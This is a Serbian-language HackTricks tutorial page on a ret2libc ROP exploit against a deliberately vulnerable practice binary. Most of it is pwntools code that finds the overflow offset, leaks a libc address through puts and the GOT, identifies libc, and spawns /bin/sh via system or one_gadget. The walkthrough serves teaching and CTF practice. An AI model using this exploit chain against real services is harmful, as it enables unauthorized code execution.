.. | ||
README.md | ||
rop-leaking-libc-template.md |
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Brzi rezime
- Pronađite offset prelivanja
- Pronađite
POP_RDI
,PUTS_PLT
iMAIN_PLT
gadžete - Koristite prethodne gadžete da procurite adresu memorije puts ili neke druge libc funkcije i pronađete verziju libc-a (preuzmite je)
- Sa bibliotekom, izračunajte ROP i iskoristite ga
Ostali tutorijali i binarni fajlovi za vežbanje
Ovaj tutorijal će iskoristiti kod/binarni fajl koji je predložen u ovom tutorijalu: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Još korisnih tutorijala: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Kod
Naziv fajla: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Curenje LIBC šablona
Koristiću kod koji se nalazi ovde da napravim eksploit.
Preuzmite eksploit i smestite ga u isti direktorijum kao i ranjivi binarni fajl i dajte potrebne podatke skripti:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
1- Pronalaženje ofseta
Šablonu je potreban ofset pre nego što nastavi sa eksploatacijom. Ako nije pružen, izvršiće potreban kod za pronalaženje ofseta (podrazumevano OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Izvršite python template.py
otvoriće se GDB konzola sa programom koji je pao. Unutar te GDB konzole izvršite x/wx $rsp
da biste dobili bajtove koji će prepisati RIP. Na kraju, dobijte pomak koristeći python konzolu:
from pwn import *
cyclic_find(0x6161616b)
Nakon pronalaženja ofseta (u ovom slučaju 40), promenite vrednost OFFSET promenljive unutar šablona koristeći tu vrednost.
OFFSET = "A" * 40
Još jedan način je korišćenje: pattern create 1000
-- izvrši do ret -- pattern search $rsp
iz GEF.
2- Pronalaženje Gadžeta
Sada trebamo pronaći ROP gadžete unutar binarnog fajla. Ovi ROP gadžeti će biti korisni za pozivanje puts
funkcije kako bismo pronašli libc koji se koristi, a kasnije i za pokretanje konačnog napada.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
PUTS_PLT
je potreban da bi se pozvala funkcija puts.
MAIN_PLT
je potreban da bi se ponovo pozvala glavna funkcija nakon jedne interakcije kako bi se iskoristio prekoračenje ponovo (beskonačni krugovi iskorišćavanja). Koristi se na kraju svakog ROP-a da bi se program ponovo pozvao.
POP_RDI je potreban da bi se prosledio parametar pozvanoj funkciji.
U ovom koraku nije potrebno izvršiti ništa, jer će pwntools pronaći sve tokom izvršavanja.
3- Pronalaženje LIBC biblioteke
Sada je vreme da se pronađe koja verzija libc biblioteke se koristi. Da bismo to uradili, treba da procurimo adresu u memoriji funkcije puts
, a zatim ćemo pretražiti u kojoj verziji biblioteke se nalazi ta verzija puts funkcije.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Da biste to postigli, najvažnija linija izvršenog koda je:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Ovo će poslati nekoliko bajtova dok nije moguće prepisivanje RIP-a: OFFSET
.
Zatim će postaviti adresu gadgeta POP_RDI
tako da će sledeća adresa (FUNC_GOT
) biti sačuvana u registru RDI. To je zato što želimo da pozovemo puts i prosledimo mu adresu PUTS_GOT
kao adresu u memoriji puts funkcije koja je sačuvana na adresi koju pokazuje PUTS_GOT
.
Nakon toga, pozvaće se PUTS_PLT
(sa PUTS_GOT
unutar registra RDI) tako da će puts pročitati sadržaj unutar PUTS_GOT
(adresu puts funkcije u memoriji) i ispisati je.
Na kraju, ponovo se poziva glavna funkcija kako bismo mogli ponovo iskoristiti prekoračenje.
Na ovaj način smo prevarili puts funkciju da ispise adresu funkcije puts (koja se nalazi u libc biblioteci) u memoriji. Sada kada imamo tu adresu, možemo proveriti koja verzija libc-a se koristi.
Kako eksploatišemo lokalni binarni fajl, nije potrebno utvrditi koja verzija libc-a se koristi (samo pronađite biblioteku u /lib/x86_64-linux-gnu/libc.so.6
).
Ali, u slučaju udaljenog napada, objasniću kako to možete pronaći ovde:
3.1- Pretraga verzije libc-a (1)
Možete pretražiti koja biblioteka se koristi na veb stranici: https://libc.blukat.me/
Takođe će vam omogućiti da preuzmete otkrivenu verziju libc-a.
3.2- Pretraga verzije libc-a (2)
Takođe možete uraditi sledeće:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Ovo će potrajati neko vreme, budite strpljivi.
Da biste to uradili, potrebno nam je:
- Ime simbola libc-a:
puts
- Procurena adresa libc-a:
0x7ff629878690
Možemo zaključiti koja je libc najverovatnije korišćena.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Dobijamo 2 podudaranja (trebali biste isprobati drugo ako prvo ne radi). Preuzmite prvi:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Kopirajte libc sa libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
u naš radni direktorijum.
3.3- Ostale funkcije za otkrivanje podataka
puts
printf
__libc_start_main
read
gets
4- Pronalaženje adrese libc biblioteke i iskorišćavanje
U ovom trenutku trebali bismo znati koju libc biblioteku koristimo. Pošto iskorišćavamo lokalni binarni fajl, koristiću samo: /lib/x86_64-linux-gnu/libc.so.6
Dakle, na početku template.py
fajla promenite vrednost libc promenljive na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Postavite putanju do biblioteke kada je poznata
Davanjem putanje do libc biblioteke, ostatak iskorišćavanja će biti automatski izračunat.
Unutar get_addr
funkcije će biti izračunata bazna adresa libc biblioteke:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
{% hint style="info" %} Imajte na umu da konačna adresa osnovne libc biblioteke mora završavati sa 00. Ako to nije slučaj, možda ste otkrili netačnu biblioteku. {% endhint %}
Zatim, adresa funkcije system
i adresa stringa "/bin/sh" će biti izračunate na osnovu osnovne adrese libc biblioteke i date libc biblioteke.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Konačno, pripremaće se i slati eksploit za izvršavanje /bin/sh:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Objasnićemo ovaj poslednji ROP.
Poslednji ROP (rop1
) završava pozivom funkcije main, zatim možemo ponovo iskoristiti prekoračenje (zato je OFFSET
ponovo ovde). Zatim želimo da pozovemo POP_RDI
koji pokazuje na adresu "/bin/sh" (BINSH
) i pozovemo funkciju system (SYSTEM
) jer će adresa "/bin/sh" biti prosleđena kao parametar.
Na kraju, poziva se adresa funkcije exit tako da proces lepo završava i ne generiše se nikakvo upozorenje.
Na ovaj način će eksploit izvršiti _/bin/sh_** shell.**
4(2)- Korišćenje ONE_GADGET
Takođe možete koristiti ONE_GADGET da biste dobili shell umesto korišćenja system i "/bin/sh". ONE_GADGET će pronaći unutar libc biblioteke način da se dobije shell koristeći samo jednu ROP adresu.
Međutim, obično postoje neka ograničenja, najčešća i najlakša za izbegavanje su kao što je [rsp+0x30] == NULL
. Pošto kontrolišete vrednosti unutar RSP, samo treba da pošaljete još nekoliko NULL vrednosti kako bi se ograničenje izbeglo.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
EXPLOIT FAJL
Ovde možete pronaći šablon za iskorišćavanje ove ranjivosti:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
Uobičajeni problemi
MAIN_PLT = elf.symbols['main'] nije pronađen
Ako simbol "main" ne postoji, možete proveriti gde se nalazi glavni kod:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
i postavite adresu ručno:
MAIN_PLT = 0x401080
Puts nije pronađen
Ako binarna datoteka ne koristi Puts, trebali biste provjeriti koristi li
sh: 1: %s%s%s%s%s%s%s%s: not found
Ako pronađete ovu grešku nakon što ste stvorili sve eksploate: sh: 1: %s%s%s%s%s%s%s%s: not found
Pokušajte oduzeti 64 bajta od adrese "/bin/sh":
BINSH = next(libc.search("/bin/sh")) - 64
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.